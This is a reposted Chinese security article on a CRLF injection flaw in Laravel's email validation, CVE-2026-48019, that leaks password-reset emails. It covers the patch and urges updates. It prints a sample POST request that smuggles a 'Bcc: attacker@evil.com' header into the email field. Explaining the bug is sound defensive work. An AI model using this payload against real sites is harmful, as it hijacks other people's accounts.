文章总结: Laravel框架存在CRLF注入漏洞CVE-2026-48019(CVSS8.9分),攻击者可在密码重置页面的邮箱字段注入%0d%0a换行符添加Bcc密送地址,利用SymfonyMailer组件缺陷悄无声息获取用户密码重置邮件。官方已在v12.60.0/v13.10.0版本通过str_replace过滤换行符修复,建议受影响用户及时更新补丁。 综合评分: 85 文章分类: 漏洞分析,WEB安全,应用安全,漏洞预警,安全开发
一个CRLF注入漏洞,竟能够进行密码重置邮件的操作?
原创
HeArt HeArt
船山信安
2026年6月17日 12:10 广东
在小说阅读器读本章
去阅读
六月,Laravel曝出一个编号CVE-2026-48019的CRLF注入漏洞,CVSS给出 8.9 分,分别影响v12.x和v13.x版本,这一次的CRLF注入,它挑了个所有人都默认忽略的安全点进行切入,带来的影响是能够进行密码重置邮件的较为危险的操作。
其中为Laravel的表单验证部分函数
public function validateEmail($attribute, $value)
{
if (! is_string($value) && ! (is_object($value) && method_exists($value, '__toString'))) {
return false;
}
return filter_var($value, FILTER_VALIDATE_EMAIL) !== false;
}
漏洞的触发逻辑是比较容易的。攻击者无需登录任何账户,只需要跳转到密码重置页面,在邮箱输入框里填入下面的一点点的细节。
POST /forgot-password HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
email=
"victim%40example.com%0d%0aBcc%3A+attacker%40evil.com"
%40example.com
%0d%0a 就是 \r\n 的 URL 编码。
其中Laravel的email验证规则只检查格式是否符合RFC标准,并没有剥离换行符,随后这个带着 CRLF 的地址被原样丢给Symfony Mailer 组件。Symfony的Address构造函数错误地接受了RFC-5322引用字符串中嵌有原始换行字节的邮箱地址。当邮件真正投递时,SMTP服务器看到的是两行:一行To指向原收件人;一行Bcc悄悄指向攻击者。
从打开密码重置页面到攻击者邮箱收到同一封密码重置链接,整个过程不超过30秒。在操作期间,受害者收件箱里一切正常,没有任何异常提示。这才是最令人不安的地方。
同时攻击者利用的是应用自身可信的邮件基础设施,因此,那些反垃圾系统、SPF、DKIM通通不会触发任何的警报。
而官方给出的修复思路是在email验证规则里加了两行str_replace,把 \r 和 \n在传给Symfony之前直接剥掉。补丁也是Laravel v12.60.0 和v13.10.0发布。
对于其依赖链的信任边界,大概是这几年反复踩的同一个坑了,出现的问题,能早点打补丁就尽早打。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:船山信安 HeArt HeArt《一个CRLF注入漏洞,竟能够进行密码重置邮件的操作?》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论